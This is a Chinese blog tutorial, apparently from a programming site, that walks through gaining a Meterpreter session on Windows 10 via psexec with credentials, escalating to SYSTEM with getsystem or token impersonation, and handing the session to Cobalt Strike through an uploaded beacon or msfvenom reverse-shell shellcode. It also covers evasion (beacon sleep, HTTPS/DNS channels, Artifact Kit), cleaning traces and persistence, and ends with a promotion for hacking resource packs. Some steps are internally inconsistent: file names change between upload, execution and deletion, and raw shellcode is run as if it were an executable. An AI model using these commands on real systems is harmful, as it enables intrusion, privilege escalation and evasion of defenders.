黑客技术零基础入门之MSF上线到CS工具中可执行的实战方案（非常详细）

程序员晓晓

于 2025-04-22 13:59:36 发布

阅读量1.1k

点赞数 41

文章标签： web安全计算机网络安全黑客技术渗透测试干货分享编程

本文链接：https://blog.youkuaiyun.com/cxyxx12/article/details/147415585

版权

描述如何使用 Metasploit（msf）提权目标主机到 SYSTEM 权限，并将提权后的会话迁移到 Cobalt Strike 工具中。

实际案例背景

目标系统：Windows 10（存在已知的权限提升漏洞或可利用的令牌）
初始情况：已通过 Metasploit 成功获取一个低权限的 Meterpreter 会话。
目标：
- 提权到 SYSTEM 权限。
- 将提权后的会话转移到 Cobalt Strike 中管理和控制。

步骤详解

1. 获取低权限 Meterpreter 会话

1.1 使用 Metasploit 获取会话

启动 Metasploit 控制台：

msfconsole

使用一个合适的漏洞模块，例如 SMB 远程代码执行（假设已经有弱口令或凭证）：

use exploit/windows/smb/psexec

设置攻击参数：

set RHOSTS <目标IP>
set SMBUser <用户名>
set SMBPass <密码>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <本地IP>
set LPORT 4444

执行攻击：

exploit

成功后会得到一个低权限的 Meterpreter 会话，例如：

[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.150:49215)

2. 提权到 SYSTEM 权限

2.1 使用 getsystem 自动提权

切换到低权限会话：

sessions -i 1

尝试自动提权：

getsystem

可能的返回：

[*] Got SYSTEM via technique 1.

验证提权结果：

getuid

如果返回：

Server username: NT AUTHORITY\SYSTEM

则说明提权成功。

2.2 如果 getsystem 失败：使用令牌冒充 (incognito 模块)

加载 incognito 扩展：

load incognito

列出可用令牌：

list_tokens -u

可能看到：

[*] Available tokens:
    NT AUTHORITY\SYSTEM
    DOMAIN\Administrator

冒充 SYSTEM 令牌：

impersonate_token "NT AUTHORITY\\SYSTEM"

再次验证权限：

getuid

应返回 SYSTEM 权限。

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

3. 上线到 Cobalt Strike

3.1 生成 Cobalt Strike Payload (Beacon)

在 Cobalt Strike 中生成 Payload（Beacon）。
Cobalt Strike Console -> Cobalt Strike 菜单 -> Attacks -> Packages -> Windows Executable (S)。

选择 Payload 类型：windows/beacon_http/reverse_http 或其他你配置的类型。

配置监听器、域名、端口等参数。
导出为可执行文件 (EXE) 或 Shellcode (RAW/BIN)。
将 Payload 上传到目标系统。在 Meterpreter 会话中：

upload /home/hao/12.exe C:\\Windows\\Temp\\12.exe

3.2 在目标系统上执行 Beacon Payload

在 Meterpreter 中，执行上传的 Beacon：

execute -f C:\\Windows\\Temp\\14.exe

Cobalt Strike 会自动捕获到 Beacon 会话（如果配置正确的话）。
- 在 Cobalt Strike 中，导航到 View -> Beacons 查看上线的会话。
- 若成功，则会在 Beacon 管理界面看到新上线的会话，权限应为 SYSTEM。

3.3 使用 Meterpreter 转发会话到 Cobalt Strike

如果无法直接执行 Beacon Payload，也可以使用 msfvenom 生成 Shellcode 并在 Cobalt Strike 中监听。步骤如下：

生成 Raw Shellcode (Cobalt Strike 控制台)：

msfvenom -p windows/meterpreter/reverse_http LHOST=<Cobalt Strike 服务器IP> LPORT=80 -f raw > /tmp/cs_shellcode.raw

上传并注入 Shellcode：
- 上传：

upload /tmp/cs_shellcode.raw C:\\Windows\\Temp\\cs_shellcode.raw

注入：

execute -f C:\\Windows\\Temp\\cs_shellcode.raw

Cobalt Strike 捕获会话
- 同样在 View -> Beacons 中查看。

4. 验证与稳定控制

验证 SYSTEM 权限
在 Cobalt Strike 的 Beacon 控制台中执行：

shell whoami

应返回：

NT AUTHORITY\SYSTEM

保持会话稳定
- 使用 Cobalt Strike 的 Sleep 功能，设置通信时间间隔，避免被防火墙检测。
- 配置 HTTPS 或 DNS 通道，增加隐蔽性。
清理痕迹
- 删除上传的 Payload 和临时文件：

rm C:\\Windows\\Temp\\beacon.exe

*   使用 Cobalt Strike 的 **Artifact Kit** 生成更隐蔽的 Payload。

5. 整体项目方案总结

前期准备

确保 Metasploit 和 Cobalt Strike 配置正确。
确保目标环境合法授权，并已获取初始的 Meterpreter 低权限会话。

提权阶段

优先尝试 getsystem 提权，失败则用 incognito 进行令牌冒充。
确保成功获得 SYSTEM 权限。

上线 Cobalt Strike

生成 Beacon Payload 并通过 Meterpreter 执行上线。
确保会话成功捕获，并能稳定通信。

后续管理

使用 Cobalt Strike 的功能进行进一步横向移动、信息收集与持久化。
合理使用 Sleep 和加密通信，避免被检测。

注意事项

合法授权：所有步骤必须在目标系统所有者明确授权下进行。
权限验证：每一步都要及时验证当前权限，避免操作失败。
安全清理：完成后，及时清理所有上传的工具和脚本，避免留下痕迹。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料，给那些想学习网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。（全套教程扫描领取哈）
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：
在这里插入图片描述
黑客资料由于是敏感资源，这里不能直接展示哦！ （全套教程扫描领取哈）

👉4.护网行动资料👈

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！
在这里插入图片描述

👉5.黑客必读书单👈